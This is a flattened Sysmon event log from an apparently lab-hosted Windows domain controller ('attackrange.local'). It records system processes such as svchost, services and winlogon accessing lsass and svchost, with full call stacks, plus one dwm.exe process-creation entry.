09:09:19.231{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1000-000000007F01}1136C:\Windows\System32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000828Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1000-000000007F01}1136C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000827Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.237{A5F018FF-28BF-5F80-1500-000000007F01}1356C:\Windows\System32\dwm.exe10.0.14393.0 (rs1_release.160715-1616)Desktop Window ManagerMicrosoft® Windows® Operating SystemMicrosoft Corporationdwm.exe"dwm.exe"C:\Windows\system32\Window Manager\DWM-1{A5F018FF-28BF-5F80-9EB4-000000000000}0xb49e1SystemMD5=C89F159A577F19F7F03C73C98D29D841,SHA256=B3E37997C1C62DD90D69EF83D6A6FC782BF9A5B8AD04A0D1528A8B7FA31AA408,IMPHASH=DDB7DE3741333EE031929A760FCD4542{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\System32\winlogon.exewinlogon.exe 10341000x8000000000000000826Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BD-5F80-0A00-000000007F01}8521192C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000825Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BF-5F80-0E00-000000007F01}11041340C:\Windows\system32\LogonUI.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\logoncontroller.dll+2dfb5|C:\Windows\System32\RPCRT4.dll+581c4|C:\Windows\System32\RPCRT4.dll+39bd0|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000824Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BE-5F80-0C00-000000007F01}604600C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000823Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000822Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000821Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000820Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BD-5F80-0A00-000000007F01}852936C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1200-000000007F01}1256C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000819Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1c030|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000818Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000817Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000816Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1200-000000007F01}1256C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000815Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-1400-000000007F01}1296C:\Windows\System32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000814Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BD-5F80-0A00-000000007F01}8521120C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1400-000000007F01}1296C:\Windows\System32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+4c6c|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000813Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000812Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000811Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000810Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000809Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000808Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BD-5F80-0A00-000000007F01}8521116C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+52f1|C:\Windows\system32\services.exe+d7ae|C:\Windows\system32\services.exe+4c6c|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000807Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000806Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000805Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000804Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.216{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-1200-000000007F01}1256C:\Windows\System32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 